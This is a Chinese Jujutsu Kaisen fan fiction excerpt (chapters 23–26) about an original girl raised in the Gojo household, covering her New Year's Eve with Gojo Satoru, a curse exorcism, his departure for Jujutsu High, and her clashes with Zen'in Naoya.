“可以可以。”伊田奈连声说,“没想到大少爷也会吃路边摊,很意外。”
五条悟又听到“少爷”这个称呼了,脸上明显不高兴了一瞬。
她又叫他少爷。
明明已经答应了叫名字。
伊田奈连忙滑跪:“五条悟,对不起!我再也不叫你少爷了!再有下次,你……你给我撵出去!”
伊田奈也不知道为什么,每次看到这样一张神圣的脸,心中会升起敬畏之情。
是一张上帝连上帝都偏爱的脸庞,比游戏建模还要好看很多倍。
五条悟吃着炸串,努力忽视身边灼热目光。
“怎么了?”他忍无可忍。
“五条悟,你长得太酷了!简直就是完美建模!游戏世界都没那么好看的建模!”
伊田奈吃着炸串,控制不住朝一旁少年投去目光。
白色睫毛每颤动一次,她的心跳就加快一分,仿佛也在她心头颤动。
“皮囊?皮囊有什么好看?”
少年吃东西动作没有慢下来,只是眼中多了几分沉思。
“很多人都说我的皮囊好看,夸赞我是上帝的宠儿,但这不妨碍他们杀我。”少年清冷的声音带着几分矜持,“皮囊是最无用的东西。”
“怎么会?”伊田奈反驳,“我就不一样!我夸你,但绝对不会杀你!我是心口如一的!”
伊田奈抑制住想要把少年做成标本的奇怪想法,一字一句辩驳:“你要是心情不好的时候,看到镜子里的自己,难道不会情不自禁笑出来?”
五条悟停下脚步,看到商场反光玻璃中的自己。
镜子里的人一头白发,眼眸湛蓝色,白色睫毛狭长,皮肤白皙。
一旁的女孩眼中充满了欣赏目光。
过路人会频频回头,目光落到五条悟脸上。
五条悟却没有任何感觉。
“不会。”五条悟说。
他从来没有因为皮囊笑出来。
外貌这东西,一向什么作用都没有。
“竟然会有人不欣赏自己的美貌!”伊田奈眼睛亮了亮,看向五条悟的眼睛里除了欣赏多了几分探究,“很不错,五条悟!你以后绝对很谦虚!”
伊田奈得意笑了笑。
十一月份。
御三家召开联合会议。
会议内容是什么,伊田奈是没有资格知道的,她也没兴趣去打听。
背靠大树好乘凉。
伊田奈靠的大树很壮实。
即便家族里其他人对伊田奈颇有微词,碍于五条悟坚决的态度,没有人在明面上刁难她。
伊田奈每天都很开心。
除了五条悟给她报了启蒙班,隔三差五发疯拉着她去上他的课。
最近几天御三家会议,五条悟很忙,早出晚归。
伊田奈好几天没瞧见五条悟。
吃完饭出门散步,伊田奈碰到一个陌生的小孩。
小孩一头黄毛,伊田奈说不准是什么样的黄,但是就是一个小黄毛。
小黄毛年纪不大,面容稚嫩,看她的眼神却充满鄙夷。
伊田奈从来不记得自己认识这样一个小孩。
“看什么看,觊觎我的美貌吗?”伊田奈说。
23.禅院直哉
女孩黑色长发及肩,披在肩头,长发柔顺乌黑,还有淡淡的草药香味,穿一件白色卫衣,黑色休闲裤。
与穿着和服的禅院直哉完全不同。
她淡淡注视黄毛直哉,眼里写满赤裸裸的鄙夷。
面前这个软弱、没有一丝咒力的家伙竟然敢鄙夷他!
禅院直哉怒了!指着伊田奈就骂:“你这个没用的,依附五条家的垃圾!要不是五条家族新生代最强保着你,你早就不知道被丢在什么地方了!你竟然还好意思自己夸耀自己!”
黄毛直哉暴怒。
白团子一样的小姑娘被骂了,没有被骂的暴怒,眼里只有对自己美貌的欣赏。
她伸手撩了撩乌黑的长发,虽然她的长发已经很整齐,但这并不影响她装十三,“我就知道,你们这些小男生真是无聊,企图以这样的方式吸引我的注意力。我知道我很漂亮,但我不是什么人都能瞧得上的……”
伊田奈语气里没有半分对恋爱的缱绻,只有对自己的迷恋。
身边的女佣早已知道禅院家小少爷的脾气,如今看见小少爷吃瘪,不敢明面笑出来,只有死命抿住嘴角。
禅院直哉恨不得跳起来给伊田奈暴揍一顿。
“你这个一点都没有礼貌的家伙!没有半分咒力!竟然敢和禅院家的少爷叫嚣?你简直不知廉耻!你!你……”
禅院直哉气得面色发红,绞尽脑汁想尽一切词语来教训面前这个不知天高地厚的普通人。
出乎禅院直哉意料。这个女孩听到这些话,非但没有半分怒色,反而越听越笑,等他说完,笑眯眯对他说:“这种搭讪方式真的很low,看在你年纪不大的份上,我就勉为其难记住你的名字吧。姓禅院?”
伊田奈无奈叹气,眼神怜悯地瞧着面前的黄毛,“我记住你的姓氏了,至于名字?你还得再努力努力。慢慢来,虽然你现在的说话方式很不讨喜,但以后会进步的。”
末了,伊田奈给了禅院直哉一个鼓励眼神,绕开他就走。
禅院直哉蒙了,脑子发懵以至于好几秒钟没反应过来这个小女孩在说什么。
他,喜欢她?!
怎么可能?!!!
这个女孩竟然还把他的鄙夷当作……勾引?
禅院直哉心底不可思议地浮现出最后两字,耳尖顿时变得绯红。
从来都是不知检点的女人来勾引他!他怎么可能去勾引别人!他可是禅院家的小少爷!
禅院直哉非常生气,转身,愤怒抓住那位女孩的衣角。
“你简直……不可理喻!”禅院直哉咆哮。
伊田奈娇羞地抽手,却抽不动,手被黄毛小子抓住了。
看不出来,黄毛小子还挺有劲。
伊田奈又抽了两次,手腕纹丝不动。
伊田奈眼珠一转,露出苦恼厌恶表情,“因为受到拒绝所以恼羞成怒,想要强行占有?”
女孩抬眼,黑色眼眸倒映禅院直哉脸庞,“喂,禅院家的小子,虽然你三番五次和我表白,但是我不喜欢你,但你也不至于恼羞成怒到这个地步!我告诉你,我虽然保守,但是才不会因为你抓住我的手腕就答应你!快放开我,男女授受不亲!”
禅院直哉被迫松手放开女孩纤细白皙的手腕,刚想理论一番,女孩脚步生烟,像是踩了滑板车,一下划走,还不忘嘲讽他:“下次喜欢哪个姑娘可不许强行牵手了!这样很low,禅院家的小子!”
要不是忌惮五条家的那个人,后面还要参加一个会议,禅院直哉早就把这个人丢到非洲挖香蕉了!
“我要知道,这个人的所有信息!”禅院直哉咬牙切齿吩咐,恨不得把伊田奈切成碎片一片片喂狗。
要不是有那个人庇护,这个女孩怎么可能窜到自己面前!
五条悟刚结束一天行程,就知道禅院直哉和伊田奈吵了一架。
“她没事吧?”白发少年冷漠的脸上终于出现一丝生机。
管家视若无睹,躬身道:“没有,只是禅院家那位少爷似乎被气得不轻。”
“没事,他不敢。”少年眉目舒展,鼻梁高挺,湛蓝色眼眸就像平静时候的、映照蓝天的大海。
管家接着道:“少爷,我们是否需要约束伊田奈小姐的行为?”
今天能和禅院家的少爷吵架,明天就能和加茂家族的少爷吵架。
五条悟脚步放缓:“不用,她有分寸。你们不用管束她。”
有分寸的伊田奈单纯是看禅院直哉那副歪鼻子斜眼的神态不爽,存心给那家伙个教训,把他气得面红脖子粗,她整个人就爽了。
欠收拾的小孩,就得好好收拾一顿。收拾完后,伊田奈还是从前快乐的伊田奈。
小小的插曲伊田奈并没有放在心上,很快把这件事情抛之脑后。
十二月份,天气逐渐寒凉,伊田奈添了不少新衣裳。
伊田奈长高了一点,身上的肉比从前少了那么一点,但整个人看上去还是圆圆的,胖乎乎的很可爱,像个招财娃娃。
上了几个月的启蒙课,伊田奈也算和文字打了个照面,现在认识不少字。
“五条悟,你今天不去上课?”
早晨,伊田奈伸伸懒腰,瞧见五条悟屋子里灯光亮起,走进去,五条悟躺在床上看最新少年漫。
五条悟白色的头发似乎长了一些,湛蓝色眼睛倒映书页。
“嗯,不想去。”
五条少爷又翘课了。
“好吧,你脑袋瓜子比我聪明,我没资格劝你,就不劝学了。”伊田奈步入正题,“跨年要一起吗?”
1999年跨入千禧年,两个世纪交接的跨年一定会很有意思。
“好。”五条悟答应,继续看少年漫。
伊田奈跪坐在五条悟旁边,闻到一股淡淡松香。
香味很淡,像是青草、又像是竹子。
伊田奈凑上前:“你好香啊!五条悟!”
五条悟侧目,湛蓝色眼眸微微一动,一张白净脸蛋横在眼前。
很近。
一股甜香味。
像是牛奶在舌尖化开。
明明是伊田奈更香一点。
五条悟说:“没注意,不是每天都这样?”
伊田奈感叹,两眼放光:“之前竟然没闻到,是我的失误!不过五条悟你好香啊!又香又帅!不知道将来要迷倒多少美少女!”
五条悟淡淡一瞥:“无趣。”
伊田奈蹦蹦跳跳回到自己的屋子。
跨年夜非常热闹,大街上到处都是人,尤其是几个地标广场,更是人山人海。
伊田奈炸了丸子头,穿上喜庆红色马甲,一条黑色束脚运动裤,一双红色休闲鞋。
五条悟白发立在头顶,被迫穿了和伊田奈一样的红色马甲,黑色束脚运动裤,鞋子仍旧是他从前的,一双黑色休闲鞋。
两个人手挽着手走在大街上,从人流中穿过,十分打眼
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。
女孩子脸蛋白皙如同羊脂玉,两只眼睛又大又圆,长长的睫毛自然上卷,两只眼睛好像会发光,笑意盈盈。
男孩子皮肤比女孩子更白,是少见的白发,白色睫毛,还有过目不忘的蓝眼睛,是深海的湛蓝,如同宝石一样好看。
“两个气球,谢谢!”
女孩停在一个卖气球的年轻人身边,年轻人解开两个气球,递给小姑娘。
“这里有笔,有什么想写的,可以写在气球上。”年轻人说。
伊田奈松开拉住白发少年的手,解开一个气球,递给他,“可以写自己2000年想要丢掉的东西,放心,我不偷看。”
白发少年双手插兜,一双漂亮眼睛寒凉冷漠,“没什么想丢的,我不用写。”
“写吧写吧!算我求求你的了!”伊田奈钻进气球,双手合在一起,凑到五条悟身前,“你就写一个!图个开心!”
伊田奈软磨硬泡,五条悟接过气球。
他的确没什么好写的,想要的,他会自己得到。
五条悟低头看气球和笔,陷入沉思。
伊田奈:“放心,我不会偷看你!你就随便想想,2000年你要丢掉什么!烦恼不开心,都可以写上去!”
伊田奈在气球上写下“不顺利”。
五条悟问:“为什么写不顺利?”
伊田奈回答:“把不顺利放飞了,剩下的就都是顺利了啊!希望以后的每一年,不论做什么事情都顺顺利利!”
五条悟手里握着笔,最后还是什么都没写下。
没有意义。
身边还有很多笑得愉快的人,手里握着气球,扬起嘴角不知道在写什么。
有病魔、软弱、厄运……很多很多,五条悟平静扫过,丝毫没有感触。
“好吧,不写算了,你的烦恼忧愁不用放飞,你自己可以攻克!”伊田奈换种方式说。
“喂,惠子,你等等我,我真不是故意的!”一个女人穿过人群跑出去,鲜花散落在地上,一个男人紧紧跟上去,撞了不少人。
伊田奈就是那个被撞的人。
她直接被撞倒在地上,撞人的男人丝毫没转过头。
“你疯了吧?活该你女朋友跑!祝你们早点分手!”伊田奈爬起来,朝男人奔跑的方向吼,白净的脸蛋垮下。
“晦气。”吼完还不解气,伊田奈嘀咕。
伊田奈回头,寻找五条悟。
白发少年在几人开外艰难地走过来。
五条悟低头,红绳在白皙手腕十分显眼。
“你别介意,找个东西把咱们绑起来,人那么多,到时候要是被冲散了我们还怎么跨年?”
红绳在手腕间摩擦,五条悟低头。
鲜红的颜色在手腕间很扎眼,还有点刺眼。
红绳另一端的小姑娘牵住他的手腕,向前走,嘻嘻哈哈,很快乐。
五条悟感知不到快乐,只是觉得,心脏跳动的似乎比往常快一点。
大屏幕上倒计时转动。
10、9、8……3、2、1!
新年钟声敲响,无数气球熙熙攘攘朝天空翱翔。
“新年了!五条悟!2000年祝你万事顺遂,心想事成!”白面团子笑嘻嘻的,眼睛眯成一条缝,两边脸颊挤作一团,很开心。
五条悟下意识“嗯”一声,拉紧手中另一只柔软的手,湛蓝色眼睛认真注视笑嘻嘻的伊田奈,“新年快乐!”
24.拔除咒灵
正式迈入千禧年,一切都朝气蓬勃,欣欣向荣,时间也跟着过得更快了。
五条悟的学习进入一个新阶段,每天都忙着上家族规划必须上的课程。除此之外,五条悟遇到自己感兴趣的东西,还会另外请老师来上。
只要五条悟把该学的东西学了,学得还不错,家族里的长辈都睁一只眼闭一只眼,只当作没看到。
五条悟隔三岔五会盯着一双漂亮蓝宝石色眼睛,在天色微亮时进入伊田奈房间,半强迫伊田奈和他一起听课。
也许是身体变成小孩,伊田奈非常嗜睡。
每天早晨只要没人叫醒,她就能一觉睡到十二点。
早起是一件痛苦的事情,可叫醒伊田奈的不是别人,是她的金主爸爸——五条悟。
伊田奈现在消费的黑卡还是五条悟给的。
除了黑卡,五条悟还有一张人神共愤的漂亮脸蛋。
平心而论,伊田奈觉得自己狠不下心,拒绝不了那么一张漂亮的脸蛋。
老师已经习惯伊田奈的存在,不会因为课堂上的鼾声而感到诧异,更不会被偶尔冒出来的几句梦话吓到。
就像今天早上,伊田奈睡了整整一个早晨。
下午的课,还是肌肉老师带领,但是上课地点不在五条家,是在室外。
黑色轿车从山腰驱驰而过。
伊田奈兴奋问:“要去打咒灵了?我可不会,咒灵会不会有神智,专挑实力弱的攻击,要是这样的话我就得小心了,老师和五条悟你们可得保护好我,要是我受伤了怎么办?”
咒灵还没见到,伊田奈已经做了不少幻想。
五条悟坐在窗边,一只手撑住下巴,蓝色眼眸倒映着窗外不断移动的树木。
伊田奈跪坐在他身边,因为五条悟不认真听讲,伸手扯他的袖子,“五条悟,又不听我说话?”
“听了。”白发少年收回视线,“不用担心,我会保护好你。”
“这还差不多。”伊田奈坐回去。
肌肉老师说:“伊田奈同学还真是活泼。不过伊田奈同学,能不能见到咒灵还是另一回事呢!”
伊田奈问:“老师,为什么?”
肌肉老师看了一眼五条悟,白发少年脸上表情淡淡的,没有反应,他接着说:“咒灵只有拥有咒力的人才能看到,普通人很难看见。伊田奈同学,你既然没有咒力的话,不一定能看见。”
女孩没有出现失落表情,依然悠然自得。
“看不见也挺好,我还没兴趣看那些咒灵长什么样呢。”
肌肉老师奇怪:“你不失落?”
在咒术界的小孩哪个不希望自己长大以后能够成为独当一面的咒术师?
“不失落。”伊田奈说,“五条悟努力学习和练习,到时候他帮我把咒灵赶跑就好了。”
白发少年不经意之间嘴角悄悄扬起。
一直淡漠的湛蓝色眼眸闪过一丝笑意。
他就知道。意料之中的答案。
肌肉老师还是不理解:“万一你一个人遇到危险怎么办?”
伊田奈笑眯眯的,两只眼睛亮晶晶,“老师放心!我才不会把自己的性命当作儿戏!肯定会好好保护自己!”
肌肉老师失笑:“你倒是机灵!”
黑色轿车停下,停在一座废弃学校前。
“悟,这次要拔除的咒灵就在这所废弃学校,我会在外面守着你。”肌肉老师说。
伊田奈站在肌肉老师身边,笑眯眯跟着说:“是的,五条悟,我在外面等你!别害怕!我等你出来。”
白发少年立在原地,湛蓝色眼睛轻轻转动,没有着急进去,长腿一跨,停在伊田奈面前,“一起。”
柠檬味薄荷音传来。
伊田奈笑容僵在脸上,一脸为难,脚底纹丝不动,“五条悟,你要学会成长,要学会独当一面,去吧!我在外面等你!”
“真的不一起去?”柠檬味清新的少年音掺杂几分委屈,湛蓝色眼眸温柔得快要滴水。
肌肉老师挠头,吹着口哨背过身。
伊田奈坚定的心也动摇了三分。
伊田奈闭眼,咬牙:“先说好,你得保护好我,可千万不要把我丢下。”
五条悟嘴角绽放一抹笑,狭长的白色睫毛随着眼睫轻颤,湛蓝色眼睛舒展开。
——就像是舒展的天空,湛蓝、宽阔、延展。
伊田奈听见自己的心脏怦怦跳动,有什么东西呼之欲出,呼吸也随之急促几分。
伊田奈好像理解小说里写的,小白花女主无意识的……勾引了。
伊田奈伸手安抚砰砰乱跳的心脏,取下别住头发的发带,柔顺乌黑秀发散开。
是一条红色的发带。
就像跨年那天系在手上的发带一样。
白发少年视线落到发带上。
“两个人绑在一起,更安全一点,你不介意吧?”白面团子咧开嘴角,笑意盈盈。
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“嗯。”五条悟回答。
红色发带很丝滑,丝绸一般质感。
五条悟手腕白皙,骨节凸起一处,红色丝质发带缠绕上白皙手腕,刺目的红。
发带另一端系在伊田奈手腕。
“好了,我们走吧。”伊田奈说。
两人一起踏进结界。
肌肉老师终于结束尴尬场景,松了口气,眼里带着笑意看着进去的两个孩子,感叹道:“还是现在的孩子行啊,老了老了……”
破旧学校气场阴沉。
伊田奈踏入结界的瞬间就觉得阴森可怖,粘腻阴沉的氛围席卷整个校园。
掉皮的墙壁,黑沉沉的广场。
像是踏入了死亡校园恐怖电影。
五条悟走在前面,察觉到伊田奈的害怕,停下脚步,主动牵起伊田奈的手,少年的掌心已经有一层薄薄的茧,掌心有点凉,就像是他的肤色那样,如纸一样白、凉。
“别怕,我会保护你。”
湛蓝色眼眸带着坚定。
伊田奈心脏不可控制轻颤两下。
踏过枯木枝丫,脚下发出清脆的响声。
丑陋的、黏糊糊的液体从教学楼楼顶向下渗透。
绿色的液体,一层一层向下滚动。
液体最顶部,两只黑溜溜的眼睛向下转动。
“食物……事物……”
模糊不清的怪音从腹部发出。
伊田奈胃部滚动,只看一眼,就被恶心到了。
这应该就是肌肉老师说的咒灵。
实在是丑得可怕,丑到伊田奈没有再看一次的勇气。
伊田奈垂眼。
五条悟自然没有错过伊田奈脸上的厌恶嫌弃。
“你能看见?”五条悟说。
伊田奈点头,语气嫌弃:“能看见,这玩意儿好丑。”
还不如不看见。
五条悟嘴角扬了扬。
“不想看可以闭眼,我会保护你。”
腰间多了一只有力的手,隔着衣物感到寒凉气息。
“别怕。”柠檬汽水味男声从耳边传来。
伊田奈双腿悬空,一刹那,已经到了半空。
咒灵两只眼珠子慢慢转动,流出腥红的口水,带着臭鱼烂虾的味道。
“食物……食物……”
漂浮的液体不断向伊田奈和五条悟靠近。
“你这家伙,真是胆大啊 !”
25.高专
淡紫色的舌头伸出,密密麻麻的人脸从中露出来。
有老师、学生、厨房阿姨、说不出名字的人。
这就是咒灵。
残暴生命,以人类为食,不断杀害一个个生命。
这就是咒术界。
咒术师拔除咒灵,努力捍卫所谓的正义,从咒灵手底下挣出人命。
五条悟一只手揽住伊田奈的腰,踮起脚尖,咒力上涌。
能量从五条悟身上不断涌动,淡蓝色的眼眸闪着一团熊熊烈火。
五条悟生得很好看。和天空一样的眼睛,白皙的皮肤,清晰的下颚线,仅仅几笔,就勾勒出少年挺拔的身姿,依稀可以看见几分未来的英俊。
五条悟淡漠看向咒灵,眼里是赤裸裸的鄙夷,轻视,厌恶。
白光乍现,咒灵四分五裂。
血液四处喷溅。
五条悟搂住伊田奈落到干净地方。
结界散开。
肌肉老师笑眯眯走进来:“悟,你的实力进步了很多。”
“谢谢老师。”五条悟回答。
伊田奈除了被咒灵的长相恶心到,对五条悟的实力倒是没什么怀疑。
合情合理。
伊田奈一直知道五条悟实力很强,但没有想到能够这么强。
她解开缠绕在两人手腕上的发带,重新缠绕到自己头上。
“五条悟,越来越厉害了!我以后的大腿就是你了!”
听到这里,肌肉老师略感诧异,上下打量伊田奈好几眼。
“伊田奈同学,你能看见?”
伊田奈点头:“老师,你们不是说我没有咒力吗?为什么我还能看见这些呢?”
肌肉老师低头沉思:“从前不是没有过这样的情况,有人能够看见咒灵,却没有丝毫咒力。也有人能看见咒灵,隔一段时间以后才能够催动咒力使用。不如我们把这件事情上报,让更专业的人来?”
伊田奈做了好几个全身检查,有几个老头子胡子又白又长,围着伊田奈上下打量。伊田奈却没有检测出咒力。
她运用不了咒力。
她只能看见咒灵,但是没有咒力。
五条家发生的动作早就被其他几家打听到了。
禅院直哉气鼓鼓的:“不就是个没有咒力的废物吗?竟然一而再再而三挑战我,我当这家伙是干什么吃的,不过是嘴上吹牛的功夫强罢了!”
五条家的见面让禅院直哉记恨至今。
那天回去以后,禅院直哉时不时会打听五条家收养的这个女孩的消息。
如此恶劣的性格,这个女孩一定不会有一个好结果,迟早会被那个天才厌弃!
结果,禅院直哉等啊等啊。
根本没有等到五条悟的厌弃,反而是伊田奈过得越来越好的消息。
禅院直哉每次听到这些消息,恨不得亲自冲到五条家,告诉那些人:“你们擦亮眼睛,看看这个人究竟是什么德行啊!怎么能够这么惯着一个连咒力都没有的女生!这不符合常规!”
这些也只是想想罢了,禅院直哉不可能真的冲到五条家,更不可能如此丢掉风度的大吼大叫。
他是一位绅士!
是不会像那个不知道从哪里冒出来的土鳖一样不知礼数的!
五条家最近发生了一件轰动全家的大事——五条悟要去咒术高专学习。
“小伊田啊,你从小和悟一起长大,你可得好好劝劝他啊!放着好好的家族资源不用,去那个什么一点名气都没有的咒术高专有什么用?”才过几年,族长已经退休,头发白了好几圈。五条悟成功接手五条家族,成为最年轻的家主。
前任族长拉着一圈人,软磨硬泡五条悟好几天,五条悟装疯卖傻,一点也不肯松口,所以这群人找到伊田奈。
围在中间的女孩长大了一圈。皮肤比起从前更加白皙,眼睛还是黑色的,黑曜石一般,闪着亮光,睫毛狭长漆黑,衬托得一双眼睛又大又圆,眉眼弯弯,嘴唇像是熟透的樱桃,饱满红润。
不施粉黛,颜值都已经秒杀了一大波人。
“族长大人,我真没办法啊!”
“我现在已经不是族长了,悟才是。”
“是是是,前任族长大人,我真没办法啊!”伊田奈愁眉苦脸,“最近几天我连悟的影子都瞧不见,更别说和他说话了。而且,14岁本来就是青少年的叛逆期,我怎么劝他?”
“小伊田啊,悟对你可是最有耐心的一个了,你说的话他难道会不听?”前族长语气里明显不相信,“从前他隔三岔五逃课还是你劝回来的,如今这样的人生大事,更要去劝劝!”
“前族长大人,真不是我不肯帮您,实在是我能力不够啊!我难道没劝过吗?我劝了!可是悟他不听啊!还数落我一顿,说我一天和老头子差不多,话多!”伊田奈辩解,“反正悟本来就是个有主意的人,要不……咱们就同意呗?反正在哪都是学,只要悟学习没有落下,比从前好,那就随便他呗……”
伊田奈越说声音越小,到最后几乎听不见。
前族长带着好几个人在伊田奈耳边叨叨叨唠叨一阵子,见伊田奈缩着头,大气不敢出一声,齐声叹气。
“算了,你走吧,我们再想想办法。”
伊田奈出门。
族长和几位老人眼神交流,目送伊田奈离开。
“就这样让她走了?”
“不然呢?老东西,你以为这些年轻人都和你一样?”
“真的要让悟到咒术高专?”
“你能劝动?”
“我要是有那个能耐大家伙现在还用在这里站着?”
“伊田奈那小姑娘当真劝不动?”
“她那是劝不动?哼——她是根本不打算干扰悟的决定。悟就是杀了人伊田奈都得拍手说杀得好,怎么可能去劝悟?”
“诶……老了老了。”
“要不,我们就同意了?让悟以家族的身份去那个什么高专……”
几个老人围坐在一起,唉声叹气。
……
“伊田奈,我要去咒术高专了!”
伊田奈的卧室经过多重改良,书柜贴着墙壁,五颜六色的书整整齐齐按照规则摆放,靠窗摆了张桌子,墙角摆着最新款游戏机。
伊田奈摘下厚重黑框眼镜,露出白皙脸颊。
“你近视了?”
五条悟推门入内,走上前,抢过伊田奈手中的眼镜,拿起来仔细端详。
看了半天,没看出个所以
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然,塞回伊田奈手里。
“没近视,你不觉得我这样很漂亮?”
伊田奈重新戴上眼镜,把脸凑到五条悟面前。
“好看吗?”
五条悟左看右看,如实说:“没区别。”
伊田奈摘下眼镜:“我就知道你看不出来。无知。”
五条悟像是什么都没听到。
“我要去高专了,你要不要和我一起去?”他悠然坐在伊田奈的矮沙发上,一条腿高高翘起,两只手插在脑后,蓝色的眼睛里都是悠然自得,“那群老头子如今终于肯同意了!不容易啊!”
“不去。”伊田奈收纳好眼镜,双目紧闭靠在沙发上,“我又没咒力,去高专干嘛?去当煮饭阿姨?”
五条悟哈哈笑出声:“小伊田最近好喜欢冷笑话啊——我出马,怎么可能让你当煮饭阿姨,去当学生啊!”
“你真是疯了。”伊田奈睁眼,无语注视身边俊美的少年。
伊田奈眼光很好,当初第一眼就知道五条悟长大以后会很帅,五条悟长大以后的确和他预想的一样,非常英俊潇洒,是一个冷漠的大帅哥。
可惜,聪明如伊田奈,只猜中了前面,没猜中后面。
帅哥变成了搞笑男帅哥。
伊田奈一般对搞笑男帅哥不感兴趣,奈何五条悟实在是太帅了。
每次看到对方像海洋一样湛蓝的眼睛,伊田奈恨不得自戳双目。
老天爷赏饭吃。
伊田奈嫉妒地移开视线。
“我不去,现在挺好。”
“也对,我都听说了。小伊田,你上学期收到了好多封情书,真是令人羡慕啊。”五条悟说。
“你怎么不说每次出门都有星探给你递名片,想要高薪挖掘你出道?”
“难道小伊田没有吗?”五条悟撅起嘴,片刻后笑了笑。
“可是人家其他的同学都有家人朋友送过去,我什么人都没有,真是可怜的五条悟啊……为什么叫五条悟的同学没有人送呢?开学后五条悟一定会受到其他同学的嘲笑,嘲笑结束以后肯定还要欺负新同学……”
五条悟收起脸上的笑,委屈巴巴一条条数出没有人送的下场。
“我送行了吧!”伊田奈故作欢笑,及时止住五条悟话头。
“耶!我就知道!”
咒术高专门口。
黑色轿车停下,伊田奈跟在五条悟身后下车,抬头便是咒术高专的大门。
“哇,悟,你们学校真气派!”伊田奈感叹,转头看见一位长发帅哥。
帅哥气质温和,笑起来眼睛眯成一条缝,几乎看不见眼珠。
“你们好!”帅哥打招呼。
“你好!”伊田奈礼貌回应。
“你好!”五条悟挥动大臂,热情走上前,“你也是高专的新生吗?”
“是,你们也是来报到?好巧。”夏油杰说。
“不。”五条悟摆手,“我是来报到的,这是我的——好朋友。”
夏油杰微微诧异,随即面色如常。
伊田奈站在门口:“悟,既然你都遇到同学了,要不然你们一起进去,我先回去?”
“不行!伊田奈,你都答应送我了!为什么不能送我进去?”
26.会再见的
三人交换姓名,正准备朝学校内报到,一个漂亮的姑娘兴奋过来。
“你们好啊!你们都是新来报到的?”姑娘脸色白皙,神态开朗。
“你也是新生?你好。”夏油杰老大哥模样第一时间开口。
“真是巧!我们一起进去!”
没走几步,夜蛾正道站在大路边,手里拿着一本小册子,一一清点面前人数。
“一、二、三、四——”尾音拖长,夜蛾正道脸上疑惑,“怎么还多了一个?”
五条悟最先认出来夜蛾正道,冲到夜蛾正道面前:“你就是夜蛾正道了!啧啧啧,也是个糟老头子,年纪还挺大!”
夜蛾正道一个地瓜敲到五条悟头上,力道不轻,“小子,记得尊师重道。”
“糟老头子!”五条悟吐槽,退回伊田奈身边。
“你们之中,谁是多余出来的?”夜蛾正道朝着几个人问话。
伊田奈默默站出来:“校长,我是多余出来的。”
“什么多余出来的?”五条悟听见这话就不高兴了,“这是我的家人,她来送我难道不可以吗?”
夜蛾正道淡淡一瞥:“她现在可以回去了,你们换好衣服就要开始训练了。”
夜蛾正道向左侧挪开一步,身后有三套崭新校服。
“其他学生已经前往训练场了,就剩你们三个,来得真晚。”夜蛾正道补充,一脸嫌弃。
“这还叫来得晚?通知书上不是写了今天报到!你这个老头子,别仗着自己年纪大倚老卖老,我告诉你我可不吃你这一套!”五条悟不爽道。
“另外几个,可是提前了一天到。”夜蛾正道没有回答五条悟,扶了扶眼镜继续补充。
“真是个老不死的。”五条悟接着愤怒。
伊田奈对咒术高专本来就没什么兴趣,也不想五条悟为自己吵架。
她拉住五条悟的手臂,“好了大少爷,既然有学习任务,你就先好好把学习任务完成,至于其他事情,等你周末回来难道不能做吗?到时候我陪你玩?”
五条悟撇撇嘴:“啊?可是我想让伊田奈你参观我特地挑选的学校!”他语气里充满失落。
“别伤心了!又不是只上这一天学,以后有的是机会。”伊田奈踮起脚尖,勉强伸手够到五条悟的肩膀,拍了拍他的肩膀以示安慰。
“你好好上学,我等你回来。”
“嗯……”五条悟声音低落。
夜蛾正道素来听说五条家的小少爷桀骜不驯,做事不按常理出牌,没想到会看到这样充满温情的一幕,暗道这小姑娘也不是个普通人。
“小姑娘,你要是感兴趣,过两年你也可以来这所学校念书。”夜蛾正道补充。
伊田奈一愣,嘴角浮现一丝笑意,“接您吉言,谢谢老师!希望您以后可以多照顾照顾五条悟!”
“我才不需要人照顾!伊田奈,你回去以后千万记得要想我,知道了吗?”五条悟甩了甩白色头发,俊俏的脸蛋写满不舍得,“你可不许一回去就忘了我!”
“知道了知道了!好了,去吧!”伊田奈笑着挥手。
五条悟一脸怨气目送伊田奈离开,伊田奈一走,他顿时原形毕露。
“你这老头子,哪里有老师的样子?不应该多包容包容!”五条悟凑到夜蛾正道面前喋喋不休。
夏油杰和家入硝子取好衣服换好,含笑看着五条悟撒泼。
“还不快去换好衣服,瞧瞧人家,都已经换好了!”夜蛾正道怒骂。
“知道了知道了!”五条悟声音不耐烦。
黑色轿车在公路上行驶,半路突然冲出一个黄发少年。司机吓出一身冷汗,不断鸣笛,摇开车窗,“喂,你干嘛的?别挡在路中间啊!”
伊田奈被这一动静吓到,取下墨镜,露出黑曜石色瞳孔,凝眸向马路中间黄毛少年看去。
眉清目秀,眼里弥漫着一股挥之不去的戾气。
不认识——
伊田奈套上墨镜,摇下车窗,跟着司机师傅大骂:“谁家黄毛不长眼睛啊!挡在路中间干嘛?想死去跳河去跳楼好吗,不许在这里讹人!”
伊田奈骂得语气毫不客气。
被骂作黄毛小子的禅院直哉感到非常愤怒。
他特地打听到伊田奈这一次会跟着五条悟出去,即便不知道消息的准确性,禅院直哉还是悄悄出门了,为的就是看看当年羞辱他的,没有咒力的废物过得怎么样。
现在亲眼看到了,禅院直哉很肯定。他这些年来幻想的对方穷困潦倒的样子绝对没有出现。
伊田奈过得很好!
禅院直哉轻轻勾了勾嘴角,露出一抹嘲讽的笑。
“看来你真是贵人多忘事。”禅院直哉淡淡道。
伊田奈疑惑,摘下墨镜,脑袋伸出车窗,仔细打量对面的黄毛,脑海里依旧什么印象都没有。
“算了,师父,今天出门不和神经病吵架,你直接换条路吧。”伊田奈戴上墨镜,不打算继续和他纠缠。
司机师傅听到怒啐一口,摇上车窗。
还没启动,伊田奈登时惊叫一声。
“小姐,怎么了?”司机转头,挡在马路中间的少年不知什么时候上了车。
伊田奈一巴掌扇到禅院直哉脸上,留下一个鲜明的五指印。
禅院直哉捂住脸,脸色狰狞,咬牙切齿:“你这个贱民,竟然敢打我?”
伊田奈打开车窗打算下车,禅院直哉一手把住车门,粗糙掌心落到伊田奈软嫩手背。
“牛逼,你是打算劫色还是劫财?”伊田奈想把手抽出来,却抽不出。
“你说呢?”对方放大的脸出现在眼前,脸上依稀可以看见清晰的巴掌印。
“你到底要干什么?我们可是五条家的人!你知不知道你在做什么?”司机大叫。
少年抬手,手里露出一个不知道什么的东西,司机见状沉下脸。
“就算是禅院家又能怎样?这位可是家族要保护的人。”
“我只是找她说点私人事情,不会对她怎么样。”禅院直哉脸色不虞,露出脸上巴掌印,嘲讽道:“再说了,就她这本事,我能把她怎么样?”
司机沉默,对伊田奈说:“小姐,您看?”<
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p>“她同意了。”禅院直哉抢答,“她可是那位的宝贝呢,我敢作什么?”
“怎么,你要和我作对?”
伊田奈眼睁睁看司机下车,但悬着的心稍微放下一点。按目前的情况来看,面前这位应该不会对她做些什么。
